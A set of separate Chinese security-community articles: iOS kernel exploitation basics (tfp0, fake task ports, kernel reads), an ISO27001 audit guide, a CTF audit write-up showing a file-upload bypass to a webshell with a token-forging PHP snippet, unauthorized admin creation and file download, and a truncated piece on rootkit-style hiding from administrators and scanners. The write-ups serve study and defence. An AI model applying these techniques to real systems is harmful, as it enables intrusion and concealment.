API编写的许多代码都包含相同的样板代码，多次重复可能会导致复杂性，甚至导致安全漏洞，因此MIG非常方便。它基于MIG规范文件(defs)实现桩函数。客户端可以像调用任何其他C函数一样调用此桩函数，并且桩函数可以处理进出mach消息的数据的编组和解编组，从而控制发生在底层的所有Mach
IPC实现。
MIG规范文件具有扩展名defs，并且在编译内核时，这些文件由mig处理并生成额外的文件，这些文件包含自动生成的MIG封装器。例如，让我们看一下osfmk/mach/task.defs中的task.defs文件。如下所示，每个defs文件都有一个子系统名称，后跟一个任意数字，该数字在文件的开头声明。task.defs文件的子系统名称为task，数字为3400。桩函数还可以检查传递给它的参数的有效性。
如果要生成MIG封装器，则可以在包含def文件的目录运行mig。
在编译期间，mig工具根据子系统名称创建三个文件。例如对于task子系统，将创建以下文件：
* taskUser.c-该文件包含代理函数的实现，该代理函数负责将数据编组为消息并发送。它还负责解组返回的数据并将其发送回客户端
* task.c-代理函数的原型
* taskServer.c-桩函数的实现包含在此文件中
在生成的文件中定义了许多基本上是函数的routine。让我们看一下自动生成的MIG代码中的Mach API routine
task_set_exception_port。
审计这些函数中的代码也非常重要。在下一篇文章中，我们将讨论在构建内核后获得的自动生成的MIG代码中找到的漏洞。
## 任务端口
Mach端口的另一个有用的功能是它们充当对象的抽象，而该抽象是由Mach消息提供的，这些消息主要通过MIG进行转换。例如，主机Mach端口提供许多API，以获取有关主机的信息。host_kernel_version()函数将打印内核版本。这与uname
-r命令使用的API相同。查看osfmk/mach/mach_host.defs文件将显示主机端口API提供的所有routine。
类似，任务端口用作任务的抽象。可以在osfmk/mach/task.def或者BUILD文件夹中的osfmk/mach/task.defs找到这些API。
这些API十分强大，可以与目标进程进行完全交互。具有进程的任务端口的发送权限将完全控制该任务，包括在目标任务内存区域中读取，写入和分配内存。顺便说一句，我们提到的是进程(来自BSD)的任务(来自Mach)端口，这似乎有些奇怪，需要注意的是，它们内部是有联系的。每个BSD进程都有一个对应的Mach任务，反之亦然。可以在osfmk/kern/task.h下找到task结构体，其中的bsd_info指向bsd/sys/proc_internal.h中的proc结构体。同样，proc结构体中的task是指向该进程的task结构体的指针。
使用Mach系统调用task_for_pid()，可以将与目标PID相对应的任务端口的发送权限发送给调用方。从bsd/vm/vm_unix.c中的以下注释可以看出，仅允许特权进程或具有相同用户ID的进程调用。除此之外，调用此API还需要某些权限(entitlement)：get-task-allow和task_for_pid-allow。
你将在这里注意到的另一件事是对pid=0的检查。这样做是为了防止调用task_for_pid(0)获得到内核任务端口的发送权限(tfp0)。以前一旦能够任意读写内核内存，越狱程序就会patch该检查并调用task_for_pid(0)。但是随着KPP和AMCC/KTRR的出现，不再能patch内核，因此使用了其它技术。tfp0这个叫法仍然存在，用于表示读写内核内存。
另一个非常常用的API是Mach系统调用pid_for_task()，用于查找与给定Mach任务相对应的进程的pid。它通常做的是查找task结构体，查找其中的bsd_info指向的内核中的proc结构体，并从proc结构体中读取p_pid。此技术已被广泛用于通过创建伪造的任务端口一次读取任意四个字节的内核内存(因为pid为32位)，本文稍后将对此进行讨论。
## 内核任务端口
内核被分配了PID
0，相应的无进程任务被称为内核任务。拥有内核任务的发送权限可以完全控制内核内存，对内核内存进行读写，还可以通过分配内存来注入任意代码。这就是EXP所试图获得的。
如前所述，调用task_for_pid(0)的较早方法之一是patch对pid=0的检查。macOS上不安全内核(#if defined
SECURE_KERNEL)也有一个processer_set_tasks() API会将内核任务端口作为第一个参数返回。
获得内核任务端口后，以下五个MACH
API经常用于与内存进行交互。重要的是要注意，要成功执行此函数，调用者必须拥有目标任务的任务端口的发送权限。如果查看函数原型，则第一个参数是目标任务(vm_map_t
target_task)。可以将内核任务端口(mach_port_t tfp0)作为第一个参数传递给它。
## hsp4 Patch
Apple为防止越狱者获得内核任务而实施的另一项技术是对kernel_task的指针检查。即使获得了内核任务的句柄也无法使用Mach
VM调用。检查从ipc_kmsg_trace_send函数开始，它会调用osfmk/kern/ipc_kobject.c中的convert_port_to_task_with_exec_token函数(第356行)。
然后，convert_port_to_task_with_exec_token函数调用task_conversion_eval函数(第1543行)。
这里就是检查的地方。caller是想要操作任务端口的任务，victim是被操作的任务。首先检查caller是否为内核，如果是则返回成功。然后检查caller是否与victim相同，因为任务应该能够对其自身执行操作。第三次检查就是关键的地方了，如果你想要操作kernel_task而自己不是kernel_task，则检查不会通过。不过这只是对kernel_task指针进行检查实现的。
因此尽管能够得到内核任务，但是你将无法在其上调用Mach
API，因为这里会返回KERN_INVALID_SECURITY，从而之前的函数将返回TASK_NULL。顺便说一句，在嵌入式平台上，代码会检查代码签名中的TF_PLATFORM标志，它是platform-application
entitlement，这意味着没有此entitlement的caller无法对拥有这项entitlement的victim执行操作(只有Apple的文件才有这个entitlement)。我们将在本系列的第3部分中对此进行讨论。
因此，较新的技术之一就是使用host_get_special_port()函数。来看看osfmk/mach/host_special_ports.h。
它包含一些特殊端口，你可能已经从注释中猜到了这些端口用于特殊目的。从注释中可以看出前七个端口是为内核本身保留的。但是到目前为止，仅使用了其中的三个。HOST_PORT提供了主机的抽象，HOST_PRIV用于特权操作，而HOST_IO_MASTER_PORT用于与设备进行交互。每个特殊端口都有特定的编号，这非常重要。我们可以注意到没有使用编号4。
另一件值得一提的事是为了获得发送到主机特殊端口的权限需要使用一个int参数调用host_get_special_port，该参数是分配给该特殊端口的编号。
查看该函数，我们可以看到它需要host_priv端口作为参数，因此除了满足所有沙盒检查之外，执行此调用还需要root权限。host_get_special_port函数从realhost.special[node]得到端口值并返回给调用者。
回到指针检查，如果我们可以重新映射内核任务，将其写入未使用的端口空间，即realhost.special[4]，然后调用host_get_special_port(4)，这应该就可以得到可用的内核任务。
[Siguza](https://twitter.com/Siguza)编写的cl0ver中的以下代码就是这样做的。
该技术也称为hsp4 patch，广泛用于最近的一些越狱中。
## 伪造任务端口
最近一些越狱中使用的最常见技术之一是使用伪造的端口。内核以为是端口，但是实际是用户控制的内存空间。然后使用某些API可以从内核中提取数据。
让我们看一下osfmk/ipc/ipc_port.h中定义的端口结构体。
第一个成员是ipc_object，可以在osfmk/ipc/ipc_object.h中找到其定义。
第一个成员是io_bits，可以在osfmk/ipc/ipc_object.h中找到这些位的详细信息。
需要设置IO_BITS_ACTIVE以确保该对象存活。IO_BITS_OTYPE指定对象类型。IO_BITS_KOTYPE指定端口类型，是一个任务端口或时钟端口等。创建伪造的端口时需要在io_bits中指定这些值。完整列表可以在osfmk/kern/ipc_kobject.h中找到。
设置端口的io_bits如下所示。
ipc_object的io_references也需要被设置为不为0的值确保该对象不释放。
回到端口结构体，另一个重要成员是struct ipc_space *
receiver，它指向ipc_space结构体。任务的ipc_space结构体定义其IPC功能。每个IPC功能都由一个ipc_entry表示，并放在一个表中，ipc_space结构体中的is_table指向该表。is_table中的端口权限或功能为16位，其名称实际上是is_table的索引。重要的是注意在内核中，端口权限(mach_port_t)通过传递指向适当的端口数据结构体(ipc_port_t)的指针来表示。
ipc_space是非常重要的结构体，因此，大多数EXP程序都会寻找内核ipc_space以便获得适当的(但仍为假的)内核任务端口。方法是将ipc_space_kernel复制到新的内存，并使假的端口的receiver指向该内存。
根据io_bits中设置的kobject类型，kobject指向不同的数据结构。因此如果伪造任务端口则需要将kobject指向struct
task，如果是时钟，则指向struct clock。
下面是async_wake EXP中相关的代码。
想了解更多详细信息，我强烈建议查看[CanSecWest的演讲](https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core)。
## pid_for_task()任意读取
如前所述，pid_for_task()将给出相应任务的PID。假设p_pid的偏移量为0x10，并且假设要读取的地址为addr，则可以创建一个伪造端口，然后将其关联到假的任务，使得该任务中的bsd_info为addr-0x10。
下面是voucher_swap EXP中相关的代码。
调用两次就可以读取64bit。
注意偏移量会随着iOS版本以及设备的不同而变化。这些偏移量既可以通过查看内核源代码来找到，也可以通过查看kernelcache文件来找到。
此技术非常强大，可一次读取4个字节的内核内存。还可以用该函数找到内核偏移。需要做的仅仅是每次向后读取四个字节的内核内存，直到获得魔术值0xfeedfacf为止。该地址是内核基地址，减去用IDA或Hopper打开kernelcache时的起始地址就得到了偏移量。下面是Yalu
EXP中相关的代码。
获得了内核基地址就可以在内核内存中找到一些重要的结构体，例如`extern struct proclist
allproc;`。可以在/bsd/sys/proc_internal.h中找到它。即使存在KASLR，它相对内核基地址的偏移总是固定的。正如我们从内核代码中看到的那样，该结构体包含进程的列表。也可以使用`jtool2
–analyze`命令找到符号地址，因为Apple错误地发布了含有符号的kernelcache。
然后，可以再次使用pid_for_task()来遍历这些结构体，通过检查pid=getpid()找到当前proc结构体(这样我们以后可以更改当前proc的cred以逃逸沙盒)，并通过检查pid=0来找到内核proc结构体(这样我们就可以获得内核proc的cred，找到kernel
task，ipc_space_kernel等)。
## 堆分配基础
下面是关于iOS中堆分配的非常简短的讨论。在iOS中，堆内存分为多个zone。相同大小的分配使用相同的zone，除非某些对象具有自己的特殊zone(ports，vouchers等)。这些zone随着分配对象增多而增长，并且从zone
map中获得新页。在macOS上，可以使用zprint命令看到分配的zone。许多堆分配技术在iOS中仍然相同。另一件事是要注意，iOS也具有zone垃圾回收。
如上所述，某些对象具有自己的特殊zone。zone是固定大小的数据块的集合，可以对其进行快速分配和释放。例如，在下图中，我们可以看到很多IPC对象，包括ports，vouchers等都有自己的zone。因此如果释放一个voucher那么将无法使用另一种对象占用释放的内存，除非触发zone垃圾回收并将包含该地址的页移动到其它位置，然后再分配另一种对象。
在最近的几个iOS版本中对堆采取了很多加固措施。我强烈建议阅读这个Stefan
Esser关于iOS内核堆的[PPT](https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf)，你也可以阅读内核源代码。可以从osfmk/kern/zalloc.c开始，其中有一些堆分配的注释。
最近用于heap
spray的常用技术之一是通过发送带有选项MACH_MSG_OOL_PORTS_DESCRIPTOR的Mach消息，以端口指针数组填充内存。这将调用ipc/ipc_kmsg.c中的ipc_kmsg_copyin_ool_ports_descriptor，它会调用kalloc(ports_length)将端口指针填充到堆中。在voucher_swap
EXP中可以看到这样做的好处：虽然分配端口会将它们放入ipc.port
zone，但是如果是端口指针就不是这样，因此可以使用端口指针占用释放的对象。用端口其实也可以，因为进行足够的喷射之后能够迫使内核进行垃圾回收并从zone
map中分配新页，其中可能包括释放的对象。本系列的第2部分将对此进行讨论。
mach_msg_descriptor_t *
ipc_kmsg_copyin_ool_ports_descriptor(
mach_msg_ool_ports_descriptor_t *dsc,
mach_msg_descriptor_t *user_dsc,
int is_64bit,
vm_map_t map,
.....................
dsc->address = NULL; /* for now */
data = kalloc(ports_length);
if (data == NULL) {
*mr = MACH_SEND_NO_BUFFER;
return NULL;
}
## 指针验证检查和CoreTrust
ARM 8.3指令集添加了一个称为PAC(Pointer Authentication
Check，指针验证检查)的新功能，目的是检查指针的完整性。它将加密签名附加到指针值里未使用的位中，然后在使用指针之前验证这些签名。由于攻击者没有用于为这些指针创建签名的密钥，因此无法创建有效的指针。
另一方面，CoreTrust是一个单独的内核扩展(com.apple.kext.CoreTrust)，它不允许自签名二进制文件(jtool2
-sign)在设备上运行。以前，Apple Mobile File Integrity
Kext(AMFI.kext)与用户态amfid守护程序一起检查代码签名。可以通过将代码签名哈希注入AMFI trust cache，hook
amfid异常端口并允许代码继续执行等多种方式来绕过。CoreTrust施加了一些其他检查，这些检查仅允许Apple签名的二进制文件在设备上运行。
## 总结
在本文中，我们研究了iOS安全的一些基础知识，它们将作为接下来两篇文章的基础。下一篇文章将详细讨论voucher_swap，而第三部分将讨论越狱。
## 参考文献
1.Project Zero Issue tracker - <https://bugs.chromium.org/p/project-zero/issues/detail?id=1731>
2.iOS 10 - Kernel Heap Revisited -<https://gsec.hitb.org/materials/sg2016/D2%20-%20Stefan%20Esser%20-%20iOS%2010%20Kernel%20Heap%20Revisited.pdf>
3.Mac OS X Internals: A Systems Approach - <https://www.amazon.com/Mac-OS-Internals-Approach-paperback/dp/0134426541>
4.MacOS and iOS Internals, Volume III: Security & Insecurity:
<https://www.amazon.com/MacOS-iOS-Internals-III-Insecurity/dp/0991055535>
5.CanSecWest 2017 - Port(al) to the iOS Core -<https://www.slideshare.net/i0n1c/cansecwest-2017-portal-to-the-ios-core> | 社区文章 |
# 1 **审核前**
## 1.1 **注意事项**
找个一个评审机构交钱（相信机构大家能找到），签合同，签合同的时候需要注意几点：
Ø **体系类型、覆盖范围、人数**
体系类型这个问题不大，基本都不会错；覆盖范围是需要慎重的，因为最后的证书上面会写清楚公司所通过认真的范围，如果不包含自己的业务那认证就白做了，当时写错了还要改合同，后面搞的很麻烦，希望大家不要重现我的坑；人数要写真实的，人数会关系到最后这个认证的费用，人数越多费用越贵。
附一个ITSMS的可以受理的范围：
Ø 填写申请书《管理体系认证申请书》
公司名字和地址要真实，包含所有的分公司，其中有临时办公场所也需要写，分公司多的话检查的时候是需要抽查到不同的分公司审核的（说是抽查其实甲方可以指定）。如果只是一个地址认证就写对应的地址就好。
## 1.2 **需要递交的电子档文件**
### 1.1.1 电子文档
组织简介、组织机构图、人员情况、申请认证产品的生产/加工/服务工艺流程图；
管理手册和程序文件；
关于认证活动的限制条件(如出于安全和/或保密等原因，存在时)；
信息安全管理体系方针和目标；
支持信息安全管理体系的规程和控制措施；
风险评估报告；（含风险评估方法的描述）；
残余风险报告
风险处置计划
适用性声明；
适用的法律法规的标准的清单。
申请书附表四、五（见申请书第6、7页）（到时候认证公司会给你文档的，如果有需求我也可以分享）
### 1.1.2 二、所需原件有：
合同，一式两份，签名盖章；
申请书，一式一份，签名盖章；
信息安全及信息技术服务管理体系保密协议，一式两份，签名盖章；
临时场所清单；加盖企业公章；（不存在临时场所企业不需提供）
营业执照、相关资质证书（最新年检副本）一式一份，加盖企业公章。
# 2 **审核中**
所有文档提交后，等待外审的到来，外审：分为一审和二审，外审的时候认证公司会联系负责人并约定好检查时间到现场检查。如果项目含了外审老师的差旅费，后面就不需要公司承担，如果不含的话，需要报销审核老师的差旅费（建议签合同的时候把这部分的钱包含了，免得后面太麻烦）。
在通知书里会包含审核的内容和计划，在审核老师来之前做好准备。
## 2.1 **一审**
一审安排：
主要是审核制度体系文件是否满足标准，公司有没按照体系制度的要求去执行，是否有运行记录的产出，公司的总体情况以及看一下公司的办公环境。一审主要是针对信息安全部进行的，以了解情况为主，一般来说有问题可以当场整改。
一般一审只需要一天，审核人员为：审核组长。审核完成会出一份审核结果。如果不通过一般都在一审不通过，不需要二审了。
## 2.2 **二审**
二审安排：
二审建议首末次会议最好有重要的领导参加，表示对安全的重视（至于为什么后面解释）。
二审需要的时间会较长，我们那时候是2个审核员审核4天，具体的时间需求会根据所申报的系统和人数去判定。系统多时间长审核的也很详细，审核的套路不是像等保对着一个一个标准制度过。我们的那2个审核老师是把对应的系统负责人叫过来大家聊天，如：你负责什么，平时正常工作什么做的，忙不忙周末要加班吗。如果心里有底气的不怕被套路，坐等没那么好的建议还是多培训一下，让主要负责人熟悉一下安全部所写的体系。
审核完成后现场给出不符合项进行整改，反正不管做的多好都有整改项的。
# 3 **审核后**
审核完成后需要对上面的不符合项进行整改，整个整改需要做的有：
1、 整改前后截图
2、 打印纸质文档，并需要手写填写
3、 扫描彩色版发给审核组长确认
最后就是把所有的资料扫描盖章快递到指定地址。
# 4 **总结**
通过跟审核老师沟通，发现如果一个企业有做好安全的决心，并且也再去做，领导足够重视那样一般来说肯定可以过，但是如果审核过程中出现说的但是没做，那就是原则性问题了，就会不过。ISO27001总体原则就是：说我所做，做我所说。说到必须要做，做的好不好是改进的地方。
所以审核不要怕有不符合项，不符合项是一定会有的。除了原则性问题外，有2种情况也会导致不过：
1、 不符合项太多
2、 区域性不符合，严重不符合，举例子：抽查防病毒安装情况，一个部门抽查都没装就是区域性；一个办公环境一层都没装，而且包含很多部门，这个就是严重不符合
审核主要是自己有做，心里有底，最后照顾好审核老师的心情，中午一起吃个饭，这样后面就好说话了，过的几率就会大很多。
最后祝大家ISO27001外审都通过。 | 社区文章 |
这里是无意中在一道ctf中遇到了这道题目,认为有必要去审计记录一下各漏洞触发点,所以将其发表出来.
这里我们进入环境后:
成功找到了后台登录地址,那么现在我们就是要想办法去使用我们的admin用户登录了
那么这里我们下载好了源代码,那么我们进去看看:
这里给了我们一个sql文件,我们导入看看:
这里我们可以直接去我们的sql中来进行导入:
首先进入到我们想要导入的数据库里面,
然后我们使用这个命令导入:
source +sql文件的路径导入
导入成功后我们查看:
这里我们导入了这么多的数据,那么接下来我们去
查看system_user的账号和密码:
这里我们获取到了用户名和密码,那么我们把密码拿去md5解码:
admincccbbb123
## 文件上传漏洞
这里我们成功登录到了后台,那么接下来我们就去找我们的文件上传点:(这里是常规思路,一般进入后台后都会去找有无文件上传点这种功能块)
这里我们在这个地方:
找到了我们可以上传文件的类型,那么我们可以往里面增加php类型
在站点信息这里我们发现了文件上传的点：
那么我们随便上传一个图片抓包看看:
这里有这几个值,但是我们知道要实现文件上传,那么我们首先就是要知道路径
点击放行之后,我们确实看到了这个文件上传的目录:
**(这里和我们后面分析的逻辑是一样的)**
那么这里我们如何知道这几个值和我们的路径有什么关系呢,那么这里我们就要去审计我们的源代码了:
这里我们就需要去找到对应的源代码:
这里对应的就是我们的这个upstate函数:
那么首先我们先来看到这个函数,首先我们的变量$filename会由我们post的md5值和我们的filename值组成,这里我们来看看这个
join函数:
**join() 函数返回由数组元素组合成的字符串。**
**这里会以join的第一个为分割符号分割每一个数组元素**
那么我们再来看看这个str_split函数:
所以这里的这句话的意思就是:
假如这里我们的md5值是:
1dd114c26d2e32d9afee242d946cd61f
经过这句话:
join('/', str_split($post['md5'], 16))
之后就变成了:
1dd114c26d2e32d9/afee242d946cd61f
然后再和我们的pathinfo函数的值进行拼接, **当这个函数的第二个参数为4的时候,表示的是截取.jpg文件后缀,**
所以这里我们的filename变为了:
1dd114c26d2e32d9/afee242d946cd61f.jpg
接下来是对我们请求参数的处理,这里我们知道上面我们的请求参数是local,那么我们去看看处理方式
会把我们上面生成的这个$filename和我们的session_id拼接在一起,然后再来一次md5值,这里我们去看看这个session_id()函数的作用:
**session_id() 可以用来获取/设置 当前会话 ID。**
而在这个时候我们看:
**我们是没有当前会话的,因为没有phpsess_ID,所以这里默认为空**
**所以这里我们的这个token值其实是我们可以控制的,因为我们可以在post的时候修改md5值**
然后会去调用到:
这个result函数:
在这里面似乎并没有什么其他的操作,那么现在在这个upstate的函数中我们能分析的已经分析完了,那么接下来我们就来到了另外一个函数upload:
这里我们首先我们的$file是再怎么来的,我们看看这里的file函数:
这里传入进来的name参数是字符串file,我们看到这个类是用来处理我们上传的文件的
这里处理逻辑看不懂,我们就先略过,那么我们再往下看:
这里的作用依旧是取出我们上传文件的后缀,那么继续往下:
这里会把我们刚才的post的md5以16个字符为一组分割为数组
然后再拼接起来,那么这里我们达到的效果其实和上面函数是一样的,那么如果正常情况下这里的$filename和上面那个函数的$filname是一样的
那么我们再往下看:
这里很明显是一些过滤,首先它要求我们的这个文件的后缀不能是php,
**或者不是`storage_local_exts`里面的，这个是可以通过管理面板改配置来控制的**。其次就是于要求我们post的token值要和我们刚才拼接而成的这个$filename的md5值相等(这里我们的session_id()默认为空)
如果这两个地方的验证都通过了,那么就会把我们的文件移动到这个:
/static/upload/$md5[0]/$md5[1]
**这个目录下,这里的这个$md5[0]和$md5[1]就是上面根据我们md5值以16位的长度进行分割而形成的数组的值**
最终就会上传文件成功,那么这里我们的目的就是去绕过第一个if,这里飞一个if说了我们的后缀不可以是php,那么我们可不可以在我们的最后的$md5[1]里面构造出一个.php呢?
那么这里我们先不管,我们先跟进我们的move函数中去:
首先这里我们的$savename变量是我们想要操作的,那么我们重点看这个变量,这里当刚刚传入的时候这个变量是:
$md5[1]也就是我们可以构造的这段值:afee242d946cd61f
前面是一些对图片的检测:
其中这个check函数,会对我们图片的一些基本信息进行检测:
**也就是检测我们上传的是否是一张图片,一般这种类型的检测,如检测大小和Mime类型或者后缀等,我们可以使用这个图片头来进行一个绕过**
那么我们接着往下看:
对于这里的path也就是我们第一个参数,也就是这里的
/static/upload/$md5[0]
**rtrim() 函数移除字符串右侧的空白字符或其他预定义字符。**
也就是这里是去除后边的第一个/符号,然后再拼接上一个/符号,总之最后会变成:
/static/upload/$md5[0]/
那么们看最后的这个参数,$save变量,这里会传入到我们的这个buildSaveName函数中去,那么我们跟进去看看:
因为这里我们的$savename不是true,所以这里我们会进入到最后一个if,这里我们看最后一个if判断就有问题,因为这里我们先来看这个strpos函数:
也就是说这里检测到要是没有出现.的话那么就在我们的$savename变量后边拼接上.上传文件后缀(.jpg),如果我们的这个变量中有.的话那么就直接return出去了,那么如果我们的文件名变为了:
xxxxxxxxxx.php
的话那么就直接把这个名字return出去了
这里我们构造我们的16位长度的值不就可以了吗?
所以我们可以这样构造:
下面是我们总的可以控制的md5值
1dd114c26d2e32d9afee242d946cd61f
那么我们改为:
1dd114c26d2e32d9afee242d946c.php
依旧要保持总的长度为32位,让后面的为16位,那么这里return出去后也就成了:
/static/upload/1dd114c26d2e32d9/afee242d946c.php
这里因为我们的这个$filename会变为:
/static/upload/1dd114c26d2e32d9/afee242d946c.php.jpg
**所以这个if那儿进不去,会返回给我们上传失败,但是文件上传的部分我们在move函数中已经完成了,所以还是上传成功了**
这里我们上传的时候还是先找一张普通的这个png图片,然后把我们的代码如`<?php phpinfo()?>`放到后面去就可以了, **或者直接使用图片马**
这里我们还是选择制作一个图片马:
1.使用记事本打开图片
2. **不管里面的内容有多少，只保留前面三行（因为jpg，png的头保存在前三行，若删除则无法被识别成图片文件）**
3.之后我们保存下来
然后我们抓包:
j将上面的md5值修改为:
e52360073082563ea6d4a31029d7.php
(注意这里生成的md5值是后端自动生成的,然后我们再去获取这个值,所以当我们改了后在我们这个upstate函数中获取到的md5值就是我们修改后的md5值了)
然后我们先利用上面这段md5值去生成一个token:
<?php
$md5="e52360073082563ea6d4a31029d7.php";
$md5=str_split($md5,16);
$ext="jpg";
$filename = join('/', $md5) . ".{$ext}";
echo md5($filename);
这里的token值是:
00ee0c7f512728e8529cfd35d6f77ad4
然后我们放上去,抓包修改后放包,直到遇到在upload函数处理的时候再次准备修改数据包:
这个时候我们看到它生成的用于比对的token值果然改变了:
但是这里在upload函数中生成的用于对比的token为这一阶段:
而这里去获取的依旧是后端自动生成的:
所以我们同样需要去修改upload函数中用于生成的用来和前面进行对比token值的md5的值,修改为一样的:
然后我们发送:
**这里显示的是上传文件失败,但是前面我们分析了为什么显示 失败但是我们还是上传上去了的原因**
那么我们去访问到这个目录:
/static/upload/e52360073082563e/a6d4a31029d7.php
成功实现php文件上传,那么接下来我们去上传一个一句话木马:
到此我们文件上传的漏洞就利用成功了
## 未授权访问添加超级用户
那么在最上面,其实那个登录后台的地方还存在一个问题
也就是说当我们如果说我们是在真实环境里面,我们是没有这个sql用户表的,那么更不可能去拿着我们的什么md5加密后的东西拿去解密了,那么这里我们还是来到我们的这个后台登录界面抓包看看:
这里我们发现抓取的数据包中并没有什么异常
这个时候我们有两个思路,第一个思路是看能不能修改后台管理员的账号密码,第二个思路就是看能不能自己创建一个拥有权限的用户,然后登录
这里我们在这个目录下:
D:\phpstudy_pro\WWW\webfaka\web_faka\html\application\admin\controller\Index.php
发现了两个函数:
1.第一个是pass函数:
public function pass()
{
if (intval($this->request->request('id')) !== intval(session('user.id'))) {
$this->error('只能修改当前用户的密码！');
}
if ($this->request->isGet()) {
$this->assign('verify', true);
return $this->_form('SystemUser', 'user/pass');
}
$data = $this->request->post();
if ($data['password'] !== $data['repassword']) {
$this->error('两次输入的密码不一致，请重新输入！');
}
$user = Db::name('SystemUser')->where('id', session('user.id'))->find();
if (md5($data['oldpassword']) !== $user['password']) {
$this->error('旧密码验证失败，请重新输入！');
}
if (DataService::save('SystemUser', ['id' => session('user.id'), 'password' => md5($data['password'])])) {
$this->success('密码修改成功，下次请使用新密码登录！', '');
}
$this->error('密码修改失败，请稍候再试！');
}
这个函数对应有一个未授权就可以访问的路由:
/admin/index/pass
这里我们看到源代码发现要想修改我们的密码,我们必须还是要知道原来的密码,那么这里就行不通了
并且抓包也没有发现任何可更改数据
那么我们再往下看:
public function info()
{
if (intval($this->request->request('id')) === intval(session('user.id'))) {
return $this->_form('SystemUser', 'user/form');
}
$this->error('只能修改当前用户的资料！');
}
这里还有一个这个info函数,那么我们去访问对应的路由:
发现同样可以访问到,这里也是一个未授权就可以访问到的路由,那么我们看这个路由的作用是用来添加我们用户的,那么这里我们随便添加一个试试看:
这里我们打算去添加一个admin用户
发现这里不可以添加的原因是因为已经有了一个admin用户了,那么我们去添加一个其他用户看看:
成功添加了一位用户,那么我们去登录一下:
这里成功登录了上去,说明我们添加用户成功
但是这里我们可以看到该用户的功能特别的少,那么这里我们应该知道是我们的身份(权限)不对,那么这里我们继续去审计源代码:
这里我们跟进这个_form函数:
protected function _form($dbQuery = null, $tplFile = '', $pkField = '', $where = [], $extendData = [])
{
$db = is_null($dbQuery) ? Db::name($this->table) : (is_string($dbQuery) ? Db::name($dbQuery) : $dbQuery);
$pk = empty($pkField) ? ($db->getPk() ? $db->getPk() : 'id') : $pkField;
$pkValue = $this->request->request($pk, isset($where[$pk]) ? $where[$pk] : (isset($extendData[$pk]) ? $extendData[$pk] : null));
// 非POST请求, 获取数据并显示表单页面
if (!$this->request->isPost()) {
$vo = ($pkValue !== null) ? array_merge((array)$db->where($pk, $pkValue)->where($where)->find(), $extendData) : $extendData;
if (false !== $this->_callback('_form_filter', $vo)) {
empty($this->title) || $this->assign('title', $this->title);
return $this->fetch($tplFile, ['vo' => $vo]);
}
return $vo;
}
// POST请求, 数据自动存库
$data = array_merge($this->request->post(), $extendData);
if(isset($data['password'])){
if( !empty($data['password'])) {
$data['password'] = md5($data['password']);
}else{
unset($data['password']);
}
}
if (false !== $this->_callback('_form_filter', $data)) {
$result = DataService::save($db, $data, $pk, $where);
if (false !== $this->_callback('_form_result', $result)) {
if ($result !== false) {
$this->success('恭喜, 数据保存成功!', '');
}
$this->error('数据保存失败, 请稍候再试!');
}
}
}
前面没有什么特别的操作,主要是看到这里对我们含有密码的$data数组处理:
这里会将我们的data变量传入进我们的回调函数`_form_filter`中,那么我们跟进这个`_form_filter`函数看看:
这里我们全局搜索这个函数:
最终在这里找到了它:
public function _form_filter(&$data)
{
if ($this->request->isPost()) {
if (isset($data['authorize']) && is_array($data['authorize'])) {
$data['authorize'] = join(',', $data['authorize']);
}
if (isset($data['id'])) {
unset($data['username']);
} elseif (Db::name($this->table)->where(['username' => $data['username']])->count() > 0) {
$this->error('用户账号已经存在，请使用其它账号！');
}
} else {
$data['authorize'] = explode(',', isset($data['authorize']) ? $data['authorize'] : '');
$this->assign('authorizes', Db::name('SystemAuth')->where(['status' => '1'])->select());
}
}
我们发现这里在我们的$data数组中还有一个authorize的键值,而根据在这个键值的意思这个应该是权限的意思,那么这里我们去看到我们admin用户的该值是多少:
我们可以看到是3,那么这里默认是没有设置这个值的,那么它就是一个普通用户,而我们需要在post的时候自带这个值:
那么我们放包之后 :
注册成功,我们去登录:
成功登录该用户,那么这样我们admin权限用户就伪造成功了
## 任意文件下载:
其实在这个时候,本来是打算已经结束审计的了,但是在功能点处又看到了这样的字样:
那么我们知道,备份一般会存在一个下载备份文件的这么一个操作,我们点进去看,发现果然可以下载我们的备份文件
我们点击下载后抓包:
**发现了一个我们熟悉的可能存在漏洞的形式:下载路径可控**
那么这里我们尝试着去测试一下:
我们成功下载了下来,改为txt格式尝试:
果然读取成功了
到这里所发现的漏洞点已经全部审计完毕,这次审计也是一般的思路流程:
后台--->功能点---->漏洞点 | 社区文章 |
# 【技术分享】常见内核后门分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**
**
**作者：**[ **bluesky4cn**
****](http://bobao.360.cn/member/contribute?uid=102476260)
**预估稿费：400RMB**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
科普，科普，科普，重要的事情说三遍，请各位内核牛绕道。
最近哥们给我秀起了内核文件隐藏、32位下给力的Hacker
Defender，号称网站管理员无法解决，在t00ls上也看见有童鞋在问相关的问题说用户被隐藏怎么找都找不到等等，经过实战发现确实很多管理员都不知道，在这里科普下希望借助安全客让更多的人知道这一利用手法从而提升安全防护能力和安全意识。
**所用工具**
xoslab(Easy File Locker)
Hacker defender Rootkit
核心功能介绍及分析:
1\. Xoslab：
内核文件隐藏（居然可以骗PChunter!隐藏真实的回调函数地址）
防止文件删除
跟文件相关的所有操作
2\. Hacker Defender
隐藏用户
隐藏文件
隐藏进程
客户端可连接服务器上任意开放的端口并且反弹一个shell，该shell拥有最高权限
以上功能过D盾、安全狗等。
3\. 小工具的想法
**针对这些功能的利用与防御**
**测试系统：** Win7 x64平台
**Xoslab的文件隐藏**
下载、安装、打开
安装完成后添加要隐藏的文件，然后…….就没有什么然后了!!! 没了呗。
不要惊慌！上图不是dir溢出！！确实没了，问题是这是一个软件，管理员也会打开这个软件，那怎么办呢。其实很简单。把自身的驱动和ini配置文件也添加成隐藏文件并且不可删除后把程序目录
该删的删干净留一个驱动即可。
通过webshell.pub 或者D盾扫描或者那只什么狗来着的软件，基本都是扫不出来的。如果你遇到过类似的问题.那好吧，下面我带你一起来分析分析这件事情。
实现原理分析:
在网上看到有童鞋发帖说删除什么ini什么的，这些都是治标不治本的办法万一人家自己写一个驱动隐藏呢，这时候又咋处理？所以原理非常重要。我推荐求其道而弃其术。
为了证明我不是娱乐圈。咳咳，今天也不是给大家展示怎么利用工具的，下面来分析下这件事情的实现原理。
CPU的权限级别
驱动的加载
Minifilter
